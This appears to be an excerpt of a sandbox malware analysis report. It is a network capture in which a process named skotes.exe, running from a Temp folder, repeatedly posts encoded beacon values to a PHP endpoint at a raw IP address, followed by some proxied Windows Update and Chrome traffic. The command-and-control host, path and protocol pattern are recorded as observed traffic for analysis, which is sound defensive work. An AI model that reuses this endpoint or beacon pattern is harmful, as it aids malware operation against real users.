Sep 30, 2024 09:54:24.385620117 CEST	310	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 36 42 31 32 46 37 30 42 39 35 44 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 38 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A76B12F70B95D82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E8
Sep 30, 2024 09:54:25.103997946 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 30 Sep 2024 07:54:24 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
91	192.168.2.5	54570	185.215.113.43	80	7124	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Sep 30, 2024 09:54:26.728153944 CEST	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Sep 30, 2024 09:54:27.443866014 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 30 Sep 2024 07:54:27 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
92	192.168.2.5	54571	185.215.113.43	80	7124	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Sep 30, 2024 09:54:28.961086988 CEST	310	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 36 42 31 32 46 37 30 42 39 35 44 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 38 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A76B12F70B95D82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E8
Sep 30, 2024 09:54:29.703942060 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 30 Sep 2024 07:54:29 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
93	192.168.2.5	54573	185.215.113.43	80	7124	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Sep 30, 2024 09:54:31.319638014 CEST	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Sep 30, 2024 09:54:32.016752005 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 30 Sep 2024 07:54:31 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
94	192.168.2.5	54574	185.215.113.43	80	7124	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Sep 30, 2024 09:54:33.538331985 CEST	310	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 36 42 31 32 46 37 30 42 39 35 44 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 38 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A76B12F70B95D82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E8
Sep 30, 2024 09:54:34.258183956 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 30 Sep 2024 07:54:34 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
95	192.168.2.5	54575	185.215.113.43	80	7124	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Sep 30, 2024 09:54:35.897841930 CEST	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Sep 30, 2024 09:54:36.603328943 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 30 Sep 2024 07:54:36 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
96	192.168.2.5	54577	185.215.113.43	80	7124	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Sep 30, 2024 09:54:38.116825104 CEST	310	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 36 42 31 32 46 37 30 42 39 35 44 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 38 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A76B12F70B95D82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E8
Sep 30, 2024 09:54:38.810784101 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 30 Sep 2024 07:54:38 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
97	192.168.2.5	54578	185.215.113.43	80	7124	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Sep 30, 2024 09:54:40.977751970 CEST	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Sep 30, 2024 09:54:41.691881895 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 30 Sep 2024 07:54:41 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
98	192.168.2.5	54579	185.215.113.43	80	7124	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Sep 30, 2024 09:54:43.208684921 CEST	310	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 36 42 31 32 46 37 30 42 39 35 44 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 38 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A76B12F70B95D82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E8
Sep 30, 2024 09:54:43.928683043 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 30 Sep 2024 07:54:43 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
99	192.168.2.5	54580	185.215.113.43	80	7124	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Sep 30, 2024 09:54:45.582928896 CEST	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Sep 30, 2024 09:54:46.295531988 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 30 Sep 2024 07:54:46 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
100	192.168.2.5	54582	185.215.113.43	80	7124	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Sep 30, 2024 09:54:47.823405981 CEST	310	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 36 42 31 32 46 37 30 42 39 35 44 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 38 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A76B12F70B95D82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E8
Sep 30, 2024 09:54:48.546190977 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 30 Sep 2024 07:54:48 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
101	192.168.2.5	54584	185.215.113.43	80	7124	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Sep 30, 2024 09:54:50.183134079 CEST	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Sep 30, 2024 09:54:50.875936031 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 30 Sep 2024 07:54:50 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
102	192.168.2.5	54585	185.215.113.43	80	7124	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Sep 30, 2024 09:54:52.400125980 CEST	310	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 36 42 31 32 46 37 30 42 39 35 44 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 38 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A76B12F70B95D82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E8
Sep 30, 2024 09:54:53.129976988 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 30 Sep 2024 07:54:53 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
103	192.168.2.5	54586	185.215.113.43	80	7124	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Sep 30, 2024 09:54:54.756302118 CEST	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Sep 30, 2024 09:54:55.448754072 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 30 Sep 2024 07:54:55 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
104	192.168.2.5	54587	185.215.113.43	80	7124	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Sep 30, 2024 09:54:56.967560053 CEST	310	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 36 42 31 32 46 37 30 42 39 35 44 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 38 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A76B12F70B95D82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E8
Sep 30, 2024 09:54:57.677669048 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 30 Sep 2024 07:54:57 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
105	192.168.2.5	54588	185.215.113.43	80	7124	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Sep 30, 2024 09:54:59.303116083 CEST	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Sep 30, 2024 09:55:00.001327991 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 30 Sep 2024 07:54:59 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
106	192.168.2.5	54589	185.215.113.43	80	7124	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Sep 30, 2024 09:55:01.942778111 CEST	310	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 36 42 31 32 46 37 30 42 39 35 44 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 38 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A76B12F70B95D82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E8
Sep 30, 2024 09:55:02.642497063 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 30 Sep 2024 07:55:02 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
107	192.168.2.5	54590	185.215.113.43	80	7124	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Sep 30, 2024 09:55:04.275296926 CEST	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Sep 30, 2024 09:55:04.986562014 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 30 Sep 2024 07:55:04 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
108	192.168.2.5	54591	185.215.113.43	80	7124	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Sep 30, 2024 09:55:06.501188040 CEST	310	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 36 42 31 32 46 37 30 42 39 35 44 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 38 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A76B12F70B95D82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E8
Sep 30, 2024 09:55:07.192935944 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 30 Sep 2024 07:55:07 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.5	49712	4.175.87.197	443

Timestamp	Bytes transferred	Direction	Data
2024-09-30 07:51:20 UTC	306	OUT	GET /SLS/%7B522D76A4-93E1-47F8-B8CE-07C937AD1A1E%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=AkfybAvKZ32l69F&MD=OShox1r7 HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33 Host: slscr.update.microsoft.com
2024-09-30 07:51:21 UTC	560	IN	HTTP/1.1 200 OK Cache-Control: no-cache Pragma: no-cache Content-Type: application/octet-stream Expires: -1 Last-Modified: Mon, 01 Jan 0001 00:00:00 GMT ETag: "XAopazV00XDWnJCwkmEWRv6JkbjRA9QSSZ2+e/3MzEk=_2880" MS-CorrelationId: 27b09e07-0a71-49cf-8f84-ed2e451c8fb9 MS-RequestId: 7b52ba80-e70e-4e6c-8560-89e5456c6bf0 MS-CV: JDgMEU5X3UCLV9kP.0 X-Microsoft-SLSClientCache: 2880 Content-Disposition: attachment; filename=environment.cab X-Content-Type-Options: nosniff Date: Mon, 30 Sep 2024 07:51:20 GMT Connection: close Content-Length: 24490
2024-09-30 07:51:21 UTC	15824	IN	Data Raw: 4d 53 43 46 00 00 00 00 92 1e 00 00 00 00 00 00 44 00 00 00 00 00 00 00 03 01 01 00 01 00 04 00 23 d0 00 00 14 00 00 00 00 00 10 00 92 1e 00 00 18 41 00 00 00 00 00 00 00 00 00 00 64 00 00 00 01 00 01 00 e6 42 00 00 00 00 00 00 00 00 00 00 00 00 80 00 65 6e 76 69 72 6f 6e 6d 65 6e 74 2e 63 61 62 00 78 cf 8d 5c 26 1e e6 42 43 4b ed 5c 07 54 13 db d6 4e a3 f7 2e d5 d0 3b 4c 42 af 4a 57 10 e9 20 bd 77 21 94 80 88 08 24 2a 02 02 d2 55 10 a4 a8 88 97 22 8a 0a d2 11 04 95 ae d2 8b 20 28 0a 88 20 45 05 f4 9f 80 05 bd ed dd f7 ff 77 dd f7 bf 65 d6 4a 66 ce 99 33 67 4e d9 7b 7f fb db 7b 56 f4 4d 34 b4 21 e0 a7 03 0a d9 fc 68 6e 1d 20 70 28 14 02 85 20 20 ad 61 10 08 e3 66 0d ed 66 9b 1d 6a 90 af 1f 17 f0 4b 68 35 01 83 6c fb 44 42 5c 7d 83 3d 03 30 be 3e ae be 58 Data Ascii: MSCFD#AdBenvironment.cabx\&BCK\TN.;LBJW w!$*U" ( EweJf3gN{{VM4!hn p( affjKh5lDB\}=0>X
2024-09-30 07:51:21 UTC	8666	IN	Data Raw: 04 01 31 2f 30 2d 30 0a 02 05 00 e1 2b 8a 50 02 01 00 30 0a 02 01 00 02 02 12 fe 02 01 ff 30 07 02 01 00 02 02 11 e6 30 0a 02 05 00 e1 2c db d0 02 01 00 30 36 06 0a 2b 06 01 04 01 84 59 0a 04 02 31 28 30 26 30 0c 06 0a 2b 06 01 04 01 84 59 0a 03 02 a0 0a 30 08 02 01 00 02 03 07 a1 20 a1 0a 30 08 02 01 00 02 03 01 86 a0 30 0d 06 09 2a 86 48 86 f7 0d 01 01 05 05 00 03 81 81 00 0c d9 08 df 48 94 57 65 3e ad e7 f2 17 9c 1f ca 3d 4d 6c cd 51 e1 ed 9c 17 a5 52 35 0f fd de 4b bd 22 92 c5 69 e5 d7 9f 29 23 72 40 7a ca 55 9d 8d 11 ad d5 54 00 bb 53 b4 87 7b 72 84 da 2d f6 e3 2c 4f 7e ba 1a 58 88 6e d6 b9 6d 16 ae 85 5b b5 c2 81 a8 e0 ee 0a 9c 60 51 3a 7b e4 61 f8 c3 e4 38 bd 7d 28 17 d6 79 f0 c8 58 c6 ef 1f f7 88 65 b1 ea 0a c0 df f7 ee 5c 23 c2 27 fd 98 63 08 31 Data Ascii: 1/0-0+P000,06+Y1(0&0+Y0 00*HHWe>=MlQR5K"i)#r@zUTS{r-,O~Xnm[`Q:{a8}(yXe\#'c1

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.5	49725	142.250.184.238	443	7172	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-30 07:51:28 UTC	787	OUT	GET /account?=https://accounts.google.com/v3/signin/challenge/pwd HTTP/1.1 Host: youtube.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 X-Client-Data: CI62yQEIpbbJAQipncoBCJuDywEIkqHLAQiFoM0BCLnKzQEI+cDUFQ== Sec-Fetch-Site: none Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
